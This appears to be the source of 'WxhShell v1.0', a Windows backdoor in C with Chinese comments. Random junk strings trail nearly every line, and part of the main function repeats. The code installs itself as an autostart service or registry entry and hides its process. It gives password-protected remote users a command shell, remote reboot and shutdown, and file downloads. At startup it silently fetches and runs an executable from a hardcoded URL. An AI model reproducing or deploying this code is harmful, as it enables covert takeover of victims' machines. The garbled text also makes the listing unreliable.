} dWDf(SS
}!5+G:JAh
if(!OsIsNt) { ]1i1_AR'`
// 如果时win9x，隐藏进程并且设置为注册表启动 ':?MFkYC
HideProc(); =:7OS>x
StartWxhshell(lpCmdLine); &^b mZj!
} An3%@;
else 9]*hP](
if(StartFromService()) 7V7iIbi
// 以服务方式启动 (n~GKcA
StartServiceCtrlDispatcher(DispatchTable); t3FfPV!P"
else bl`vT3
// 普通方式启动 L[p[m~HjG^
StartWxhshell(lpCmdLine); Eza B}BLQ9
CB%O8d #
return 0; p?4h2`P
} $@4(Lq1.
uSn<]OrZo`
<S`N9a
$_0~Jzt,
=========================================== `]l*H3+hg
HPeN0=7>
81/t)Cp
%DF-;M"8
C\C*'l6d
M}b[;/~
" Zjkrne{
@G>Q(a*,
#include <stdio.h> 'hH3d"a^=
#include <string.h> 9..! g:
#include <windows.h> *Z=:?4u
#include <winsock2.h> j= Ebk;6p
#include <winsvc.h> bG[)r
#include <urlmon.h> N\WEp?%~
j?cE0 hz
#pragma comment (lib, "Ws2_32.lib") |c5r&oM&m
#pragma comment (lib, "urlmon.lib") dd@-9?6M
!Won<:.[0
#define MAX_USER 100 // 最大客户端连接数 _^"0"<,
#define BUF_SOCK 200 // sock buffer -H(\[{3{V
#define KEY_BUFF 255 // 输入 buffer K#<cuHGC
Ju 0
#define REBOOT 0 // 重启 lQnqPQY
#define SHUTDOWN 1 // 关机 B&k"B?9mL
/qX=rlQ/n
#define DEF_PORT 5000 // 监听端口 s.uV,E*wu
|oI]
#define REG_LEN 16 // 注册表键长度 $bT<8:g
#define SVC_LEN 80 // NT服务名长度 P% ZCACzV
OKp0@A)8
// 从dll定义API {Kkut?5
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (*\*7dIo
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v08Xe*gNU
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;`MKi5g
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W|aFEY
q_|YLs`
// wxhshell配置信息 aR}L- -m
struct WSCFG { c$[cDf~
int ws_port; // 监听端口 \gjYh2>
char ws_passstr[REG_LEN]; // 口令 0($ O1j~$
int ws_autoins; // 安装标记, 1=yes 0=no y7)$~R):-
char ws_regname[REG_LEN]; // 注册表键名 yw9)^JU8"
char ws_svcname[REG_LEN]; // 服务名 .q^+llM
char ws_svcdisp[SVC_LEN]; // 服务显示名 ?* %JGz_
char ws_svcdesc[SVC_LEN]; // 服务描述信息 fmQ`8b
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S>s{t=AY~
int ws_downexe; // 下载执行标记, 1=yes 0=no %RF9R"t$
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" MTxe5ob`$Q
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r.T!R6v}
hs m%o\
}; C:WXI;*cr
+)eI8o0#
// default Wxhshell configuration P,/=c(5\}
struct WSCFG wscfg={DEF_PORT, ndU<,{r
"xuhuanlingzhe", UX& ?^]
1, bzt(;>_8
"Wxhshell", P5^<c\Mr,Y
"Wxhshell", C0$KpUB
"WxhShell Service", *[^[!'kT&
"Wrsky Windows CmdShell Service", hLf<-NM
"Please Input Your Password: ", 7P$>T
1, xJ18M@"j
"http://www.wrsky.com/wxhshell.exe", i{ " g7
"Wxhshell.exe" :n} NQzs
}; |wFfVDp
m$X0O_*A
// 消息定义模块 qz .{[l
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +7]]=e<[E
char *msg_ws_prompt="\n\r? for help\n\r#>"; {!`0i
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z*Fxr;)d
char *msg_ws_ext="\n\rExit."; zJ2dPp~u
char *msg_ws_end="\n\rQuit."; )Kw Gb&l&
char *msg_ws_boot="\n\rReboot..."; LyB &u()
char *msg_ws_poff="\n\rShutdown..."; AQH\ ;L
char *msg_ws_down="\n\rSave to "; ]a}K%D)H
,XJ Xw(LM
char *msg_ws_err="\n\rErr!"; IY='tw
char *msg_ws_ok="\n\rOK!"; O4mSr{HCp
oju}0h'1
char ExeFile[MAX_PATH]; RZ#~^5DiO
int nUser = 0; 3+j!{tJ z2
HANDLE handles[MAX_USER]; a$r<%a6
int OsIsNt; L(bYG0ZI5C
(` N@4w=
SERVICE_STATUS serviceStatus; XpH]CF
SERVICE_STATUS_HANDLE hServiceStatusHandle; =I}8-AS~V
XAb!hc
// 函数声明 ^-yEb\\i
int Install(void); dfss_}R
int Uninstall(void); 4._U
int DownloadFile(char *sURL, SOCKET wsh); pW>?%ft.
int Boot(int flag); cR0OJ'w
void HideProc(void); ph;ds+b
int GetOsVer(void); O~1vX9
int Wxhshell(SOCKET wsl); ).BZPyV<
void TalkWithClient(void *cs); ~$O.KF:
int CmdShell(SOCKET sock); #:yh2y7a%
int StartFromService(void); X?'v FC
int StartWxhshell(LPSTR lpCmdLine); (rM-~h6g
}?0At<(d
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tTzPT<
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =/J{>S>(i
?=22@Q}g
// 数据结构和表定义 I}&`IUP
SERVICE_TABLE_ENTRY DispatchTable[] = srbU}u3VZ
{ E mUA38
{wscfg.ws_svcname, NTServiceMain}, =68CR[H
{NULL, NULL} z,"fr%*,N
}; f;[\'_.*
;ORT#7CU
// 自我安装 q (?%$u.
int Install(void) 0KQDw
{ 8hK\Ya:mP
char svExeFile[MAX_PATH]; e95x,|.-_
HKEY key; +~6Nq(kV
strcpy(svExeFile,ExeFile); 1m52vQSo3l
2,nVo^13}
// 如果是win9x系统，修改注册表设为自启动 ;U02VguC
if(!OsIsNt) { 1${lHVx]
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _.ny<r:g
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xzqgem`[\
RegCloseKey(key); \,b@^W6e>
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @.PVUP
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lBbUA)z6
RegCloseKey(key); Z;nbnRz
return 0; ]Ywj@-*q
} SP,#KyWP0)
} UY)e6 Zd
} 9&>)4HNd?
else { ^,?dk![1Cv
=sR]/XSK
// 如果是NT以上系统，安装为系统服务 QL<uQ`>(
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &g{b5x{iD
if (schSCManager!=0) o IUjd
{ A1mxM5N
SC_HANDLE schService = CreateService )@X `B d
( X/5\L.g2
schSCManager, K,VN?t<h
wscfg.ws_svcname, )N8[@
wscfg.ws_svcdisp, 5iG+O4n%
SERVICE_ALL_ACCESS, AS} FRNIVx
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $[p<}o/6v]
SERVICE_AUTO_START, vbDSNm#Yv
SERVICE_ERROR_NORMAL, +, SUJ|
svExeFile, ugZ-*e7
NULL, HW{si]~q
NULL, {Q&@vbw'
NULL, zjzW;bo( d
NULL, Eagl7'x
NULL >O{[w'sWa
); dKOW5\H'
if (schService!=0) ^^ Q'AE
{ \Kx@?,
CloseServiceHandle(schService); (dL;A0L
CloseServiceHandle(schSCManager); u9t@%H)lZ
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); XzX-Q'i=n0
strcat(svExeFile,wscfg.ws_svcname); O[N}@%HMW
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *bl*R';
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k,~I>qg
RegCloseKey(key); HF3W,eaqK
return 0; QWo_Zg0"
} xHA6
} aaN|g{pX
CloseServiceHandle(schSCManager); w4:
} 7 +RsZu
} -|?I'~[#(
[a\U8 w
return 1; .=j]PckJO
} :V(+]<
7rc6
// 自我卸载 jLANv{"
int Uninstall(void) w3l+BUn:X
{ P4M*vZq)
HKEY key; FD}hw9VyF@
D[m+=-
if(!OsIsNt) { ^!={=No]
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /EN3>25"#
RegDeleteValue(key,wscfg.ws_regname); zyznFiE
RegCloseKey(key); X-tc Ud
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,[64$=R8
RegDeleteValue(key,wscfg.ws_regname); MOiTzL*
RegCloseKey(key); Ur`jmB
return 0; yFIB/ln:
} ?,_$;g
} VSK!Pc.G}
} v<*ga7'S
else { 1eg/<4]hA
CXb-{|I}d
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -,M*j|
if (schSCManager!=0) M^i^_}~S;
{ _I("k:E7
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 52*9q!
if (schService!=0) EJdl%j
{ #HMJBQ4v#
if(DeleteService(schService)!=0) { F,t ,Ja
CloseServiceHandle(schService); 9@nDXZPY&
CloseServiceHandle(schSCManager); QY]^^f
return 0; 'T(7EL3$}
} !+&Rn\e%7
CloseServiceHandle(schService); b(hnouS
} X~aD\%kC7
CloseServiceHandle(schSCManager); [d(@lbV0
} ZyJdz+L{@V
} -Y*"!8
iIOA54!o
return 1; UStNUNCq
} fM[Qn*.
{uurM`f}:
// 从指定url下载文件 P1<Y7+n
int DownloadFile(char *sURL, SOCKET wsh) (*.t~6c?5
{ l?F&I.{J
HRESULT hr; xQ4'$rL1d
char seps[]= "/"; PT9,R^2T!
char *token; :8}iZ.
char *file; [fN?=,8
char myURL[MAX_PATH]; "pb$[*_@$
char myFILE[MAX_PATH]; YbMeSU/sX
_\HMF
strcpy(myURL,sURL); nUAoPE
token=strtok(myURL,seps); $=7'Cm?
while(token!=NULL) 4LO U[D
{ 5t`:=@u
file=token; Pj4WWKX
token=strtok(NULL,seps); v6gfyGCJ
} ;#3l&HRKH1
h0YIPB
GetCurrentDirectory(MAX_PATH,myFILE); o"O=Epg
strcat(myFILE, "\\"); bITc9Hqc
strcat(myFILE, file); N5 BC<pu
send(wsh,myFILE,strlen(myFILE),0); K~j&Q{yws@
send(wsh,"...",3,0); ZRDY`eK
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0KW@j>=jK
if(hr==S_OK) zJp}JO
return 0; R)>/P{A-P
else o80"ZU|=
return 1; GpjyF_L
%/l9$>{
} 8>Y
-ZTe#@J
// 系统电源模块 I~LN)hqdo
int Boot(int flag) P@gVzx)M
{ pYtG%<
HANDLE hToken; }b9"&io
TOKEN_PRIVILEGES tkp; (x}>tm
L*k[Vc
if(OsIsNt) { zEG6T*
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]0`*gKA
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R{s&6
tkp.PrivilegeCount = 1; "62vwWrwO
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9:|z^r
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); AlW0GK=N-p
if(flag==REBOOT) { V SJGp`
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tb^8jC
return 0; Nm{\?
} .ZuRH_pI
else { cC{eu[ XW
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ls8@@b,t2
return 0; )ZxDfRjL
} Xb0$BAP
} 72hN%l
else { d|GQZAEJEt
if(flag==REBOOT) { p.{M sn
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V3%"z
return 0; 3;M7^DM
} {Y>5 [gp
else { #6< X
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V$y6=Q<c
return 0; iV h^;
} "m*.kB)e7
} P`/;3u/P
yc4?'k!
return 1; -__RFxG
} 9`83cL
F`/-Q>Q
// win9x进程隐藏模块 3\x@G)1
void HideProc(void) `Gct_6
{ Lk?%B)z
Y ^s_v_s
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |eN#9Bm
if ( hKernel != NULL ) A1b</2
{ qJjXN+/D
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); UDjmXQ2,
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~7!=<MW
FreeLibrary(hKernel); \!!qzrq
} QucDIZ
|Z]KF>S]
return; l;*/F`>c
} xvP=i/SO
]/l"
// 获取操作系统版本 "Di27Rq
int GetOsVer(void) !Tc jJ2T
{ ~d0:>8zQR
OSVERSIONINFO winfo; OT1
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @ |bN[XL
GetVersionEx(&winfo); 4( Q_J4}P
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #[|~m;K(w
return 1; 4@2<dw|*h
else j7(sYo@x7
return 0; {{hp;&x
} B,Pbm|U1
U GA_^?4
// 客户端句柄模块 [i[*xf-B
int Wxhshell(SOCKET wsl) 4?+K:e #F
{ a`c#- je
SOCKET wsh; 4LG[i}u.N
struct sockaddr_in client; =>?;Iv'Z
DWORD myID; j@N z
CSKOtqKQ)
while(nUser<MAX_USER) C`G+b{o
{ fL0dy[Ch@
int nSize=sizeof(client); 9((BOq
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~m/nV81
if(wsh==INVALID_SOCKET) return 1; Xk9mJ]31LC
lk.]!K$}
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wM$N#K@
if(handles[nUser]==0) `ChS$p"A
closesocket(wsh); mf~JolucJ
else a ~s:f5S>
nUser++; _&(\>{pm
} xwuGJ
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [ B{F(~O
v|!u]!JM
return 0; ;rggO0Y
} /{)}y
0bG[pp$[
// 关闭 socket Dno]N
void CloseIt(SOCKET wsh) \a#{Y/j3
{ Cz1Q@<)
closesocket(wsh); / @v V^!#1
nUser--; 4>x$I9^Y!
ExitThread(0); /"(`oe<
} 1X8P v*,
y4\(ynk
// 客户端请求句柄 JfOBZQ
void TalkWithClient(void *cs) a&^HvXO(>(
{ ro&/
Vy.gr4Cm
SOCKET wsh=(SOCKET)cs; EZ,Tc;f=
char pwd[SVC_LEN]; 'CQ~ZV5
char cmd[KEY_BUFF]; iXoEdt)
char chr[1]; yH=Hrz:<eM
int i,j; q8m{zSr
WGmXq.
while (nUser < MAX_USER) { gGaA;YW1
8v<802
if(wscfg.ws_passstr) { )WBp.j /#
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c)*,">$#
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ojc m%yd
//ZeroMemory(pwd,KEY_BUFF); n-"(lWcp
i=0; >PYLk{q
while(i<SVC_LEN) { ?|i C-7{8L
qjBF]3%t%
// 设置超时 Wg!<V6}
fd_set FdRead; c-`'`L^J
struct timeval TimeOut; ?[Sac]h ys
FD_ZERO(&FdRead); |o@xWs@m
FD_SET(wsh,&FdRead); q1a*6*YB
TimeOut.tv_sec=8; n 3eLIA{
TimeOut.tv_usec=0; ~=P#7l\o1
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <r>1W~bp.q
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \CU-a`n
rSgOQ
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >g>L>{
pwd=chr[0]; T1-.+&<
if(chr[0]==0xd || chr[0]==0xa) { \ u*R6z
pwd=0; [ML|,kq!
break; ;aj4V<@
} .OM^@V~T
i++; op2<~v0?
} >;K!yI?0
"Wb>y*S
// 如果是非法用户，关闭 socket Q4Zw<IZv5
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H2jF=U"=
} im-XP@<
Z[ 53cVT^
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LJgGX,Kp
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v:IpZ;^
iW?z2%#
while(1) { <"hq}B
)KdEl9o
ZeroMemory(cmd,KEY_BUFF); al{}_1XoU
Nx;Oz
// 自动支持客户端 telnet标准 L^FQ|?*
j=0; z%q)}$O
while(j<KEY_BUFF) { a5k![sw\
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p 2>\
cmd[j]=chr[0]; W9rmAQjn
if(chr[0]==0xa || chr[0]==0xd) { !hugn6
cmd[j]=0; f-BPT2U+
break; O}-+o1
} shZEE2Dr
j++; "$I8EW/1
} FyhLMW3
:!QT ,
// 下载文件 5M&<tj/[a0
if(strstr(cmd,"http://")) { 6no&2a|D
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~LF/wx>
if(DownloadFile(cmd,wsh)) HkQ rij6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); LOEiV
else >^~W'etX|
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9 gc0Ri[4m
} YXLZ2-%ohZ
else { ="(' #o
GK`U<.[c
switch(cmd[0]) { Z [YSET
Kgw,]E&7
// 帮助 vnx+1T
case '?': { M\A6;dz'
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); XY,!vLjL
break; _[pbfua
} Ew )1O9f
// 安装 *5KDu$'(e
case 'i': { !BjJ5m
if(Install()) B'-n ^';
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8\S$iGd
else s^"*]9B"
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8dLK5"_3
break; -4v2]
} a|-ozBFR
// 卸载 1wy?<B.f
case 'r': { ~,Kx"VK
if(Uninstall()) cB6LJ}R
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7S{yKS
else pS~=T}o
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2AXf'IOqE
break; ':7gYP*v
} Y~B-dx'V
// 显示 wxhshell 所在路径 d$HPpi1LL
case 'p': { ATF>"Ux
char svExeFile[MAX_PATH]; l@5kw]6
strcpy(svExeFile,"\n\r"); LO;6g~(1
strcat(svExeFile,ExeFile); xz-?sD/xe
send(wsh,svExeFile,strlen(svExeFile),0); Sg< B+u\\
break; ^4C djMF-E
} *o=[p2d"X
// 重启 &9EcgazV
case 'b': { 2-%9k)KH
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W+i&!'
if(Boot(REBOOT)) W.c>("gC
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 48)D%867.;
else { .1:B\R((
closesocket(wsh); e3k58
ExitThread(0); ^+wA,r.
} ?h:xO\h8
break; "..I$R
} TR9dpt+T
// 关机 -VvN1G6.x?
case 'd': { W.l#@p
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;0o% hx
if(Boot(SHUTDOWN)) fwi -
send(wsh,msg_ws_err,strlen(msg_ws_err),0); m#^;V
else { c6cB {/g
closesocket(wsh); MDoV84Fh
ExitThread(0); XZ:6A]62I
} ~?Zm3zOCc2
break; |`'WEe2
} oml^f~pm
// 获取shell #'97mg
case 's': { H`4KhdqR
CmdShell(wsh); riQ0'-p
closesocket(wsh); {$I1(DYN
ExitThread(0); GO3KKuQ=
break; qS?^(Vt|R
} ! u9LZ
// 退出 ;( (|0Xa
case 'x': { V6&6I
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J;N\q
CloseIt(wsh); ~!P&LZ
break; F{E`MK~f_
} j9R+;u/!
// 离开 = Atyy
case 'q': { deOk>v&U
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3F$N@K~s
closesocket(wsh); \F14]`i
WSACleanup(); -d[Gy- J
exit(1); 13A~."b
break; jd.w7.8
} X2`n&JE
} Yv3P]6c.
} 23X-h#w
NbK67p:
// 提示信息 I:M15
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^sF(IV[>
} |(=b
} $XcuU sG
}"STc&1
return; Qx8O&C?Ti
} }[y_Fr0
l)f 2T@bHl
// shell模块句柄 bZ}T;!U?I
int CmdShell(SOCKET sock) w3M F62:
{ }Vfc;2
STARTUPINFO si; +&.39q!
ZeroMemory(&si,sizeof(si)); 2LS91
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x,c\q$8yH
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _opB,,G
PROCESS_INFORMATION ProcessInfo; 2BO"mc<#$
char cmdline[]="cmd"; 7 b{y
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); XdE|7=+s
return 0; s0'6r$xj
} SP4(yJy&
t\O#5mo
// 自身启动模式 SmV}Wf
int StartFromService(void) 'jYKfq~_cJ
{ nq\~`vH|Gd
typedef struct rxOvYF
{ HE-ErEtGB
DWORD ExitStatus; Ah;`0Hz;
DWORD PebBaseAddress; X.AE>fx*h
DWORD AffinityMask; hLaQ[9
DWORD BasePriority; F#z1 sl'
ULONG UniqueProcessId; \^dYmU
ULONG InheritedFromUniqueProcessId; 0U!_o2]
} PROCESS_BASIC_INFORMATION; TVK*l*
T3t w.yh
PROCNTQSIP NtQueryInformationProcess; QG5c>Q
,7;euV5X
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Wf=hFc1_@
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }^`5$HEi
jSw>z`'#H
HANDLE hProcess; <1<0odB
PROCESS_BASIC_INFORMATION pbi; M&KJZ
/}S1e P6
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V]/$ dJ
if(NULL == hInst ) return 0; :/6u*HwZh
>fp_$bjd
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); VqS1n
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VP^{-mDph
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o97*3W]
&H%z1Lp
if (!NtQueryInformationProcess) return 0; {w]L'0ES[
LAuaowE\v
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (R!`Z%
if(!hProcess) return 0; ,#hNHFa'JH
:`S\p[5
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1_>w|6;e
7|<-rjz^
CloseHandle(hProcess); o),@I#fM
X(Lz&fkd
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1%7zCM0s
if(hProcess==NULL) return 0; ooj^Z%9P
0ej*0"Mq
HMODULE hMod; =-!B4G$
char procName[255]; !*}E
unsigned long cbNeeded; >[g.8'hI
nX<yB9bXDg
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {?X9juc/#
ew,g'$drD
CloseHandle(hProcess); T!|-dYYI
P%ZU+ET
if(strstr(procName,"services")) return 1; // 以服务启动 =_[Ich,}
`&J=3x
return 0; // 注册表启动 70Ei<
} @1V?94T1
}BiA@n,
// 主模块 9Yji34eDZ
int StartWxhshell(LPSTR lpCmdLine) k"+/DK,:
{ *enT2Q
SOCKET wsl; CL5t6D9Qi
BOOL val=TRUE; @e+qe9A|
int port=0; 8|Wl|@1(
struct sockaddr_in door; $HAwd6NI
tY60~@YO&
if(wscfg.ws_autoins) Install(); aL/7xa
O`.IE? h#
port=atoi(lpCmdLine); l?KP/0`
$Q`\-
if(port<=0) port=wscfg.ws_port; VW:Voc
>|hqt8lY
WSADATA data; Agwl2AM5k
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Rc}#4pM8
3#idXc
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; G$jw#a[L
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oSH]TL2@Cd
door.sin_family = AF_INET; 1t7T\~+F
door.sin_addr.s_addr = inet_addr("127.0.0.1"); q]v{o8:U
door.sin_port = htons(port); 2'8I/>-
Sv[+~co<l
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Obc wmL
closesocket(wsl); u9{Z*w3L7
return 1; 2Iq*7n:v0
} =64Ju Wvo
avd`7eH2
if(listen(wsl,2) == INVALID_SOCKET) { '3B7F5uLx"
closesocket(wsl); Lp{/
return 1; on f7V
} ]"i^VVw
Wxhshell(wsl); #3YYE5cB
WSACleanup(); S>R40T=e
i7`/"5I
return 0; z"Wyf6H0T
>"D0vj
} V""3#Tw
gO bP
// 以NT服务方式启动 20)8e!jP
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "Wy!,RH
{ K?=g IC:
DWORD status = 0; 1fV\84m^
DWORD specificError = 0xfffffff; oi%IHX(`
xgWVxX^)
serviceStatus.dwServiceType = SERVICE_WIN32; D}?JX5.
serviceStatus.dwCurrentState = SERVICE_START_PENDING; wArzMt}[
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OJs s
serviceStatus.dwWin32ExitCode = 0; n&FRjq9y
serviceStatus.dwServiceSpecificExitCode = 0; _+qtH< F/
serviceStatus.dwCheckPoint = 0; V/J-zH&
serviceStatus.dwWaitHint = 0; A~8-{F 31
!-8y;,P
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0~cbB
if (hServiceStatusHandle==0) return; HCaEETk5
sDXQ{*6a
status = GetLastError(); D#11 N^-K
if (status!=NO_ERROR) |k)Nf+(}W
{ k'K 1zUBj
serviceStatus.dwCurrentState = SERVICE_STOPPED; }nWW`:t kx
serviceStatus.dwCheckPoint = 0; W<H<~wf#
serviceStatus.dwWaitHint = 0; #a!qJeWm0
serviceStatus.dwWin32ExitCode = status; K}Lu1:~
serviceStatus.dwServiceSpecificExitCode = specificError; Sp@{5
SetServiceStatus(hServiceStatusHandle, &serviceStatus); }M${ _D
return; sB<y(}u
} %kiPE<<x
zC!Pb{IaH
serviceStatus.dwCurrentState = SERVICE_RUNNING; 8o,"G}Hjk
serviceStatus.dwCheckPoint = 0; CPu~^ik
serviceStatus.dwWaitHint = 0; `YK#m4gc
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0|~3\e/QV
} m"~),QwF9
?I 7hbqQd
// 处理NT服务事件，比如：启动、停止 C oO0~q
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ml+O - 3T
{ Ce_l\J8G
switch(fdwControl) <s5s<q2
{ h\*I*I8C
case SERVICE_CONTROL_STOP: }z_7?dn/
serviceStatus.dwWin32ExitCode = 0; KOD%>+vG$
serviceStatus.dwCurrentState = SERVICE_STOPPED; Wq*W+7=.
serviceStatus.dwCheckPoint = 0; FMAt6HfU
serviceStatus.dwWaitHint = 0; n#)kvr
{ jn>RE
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^-K~y
} t/a
return; t<znz6
case SERVICE_CONTROL_PAUSE: }E\u2]
serviceStatus.dwCurrentState = SERVICE_PAUSED; {(^%2dk83C
break; |3 v+&eVi
case SERVICE_CONTROL_CONTINUE: 3NgyF[c
serviceStatus.dwCurrentState = SERVICE_RUNNING; 3!u:*ibt
break; +JY]J89
case SERVICE_CONTROL_INTERROGATE: xBAASy
break; e",0Er FT
}; f_ UwIP
SetServiceStatus(hServiceStatusHandle, &serviceStatus); I=}R Z9
} X&.LX
hi9@U]H#
// 标准应用程序主函数 CR`}{?2H
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RTeG\U
{ ]s~%1bd
%s[ n2w
// 获取操作系统版本 u'aWvN y+
OsIsNt=GetOsVer(); >w|2 ~oK
GetModuleFileName(NULL,ExeFile,MAX_PATH); IoWK 8x
x%,!px3s
// 从命令行安装 "y=AVO
if(strpbrk(lpCmdLine,"iI")) Install(); F6-U{+KU$!
be~'}`>
// 下载执行文件 Bc51 0I$c
if(wscfg.ws_downexe) { <84d Vg
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }G1hB#j
WinExec(wscfg.ws_filenam,SW_HIDE); 9d&}CZr
} j'|`:^ Sy
rfhvdwwD
if(!OsIsNt) { };]f 3
// 如果时win9x，隐藏进程并且设置为注册表启动 4GqE%n+ta~
HideProc(); $|}PL[aA#
StartWxhshell(lpCmdLine); }B2qtb3
} |BA<> WE
else >y iE}
if(StartFromService()) kB;!EuL
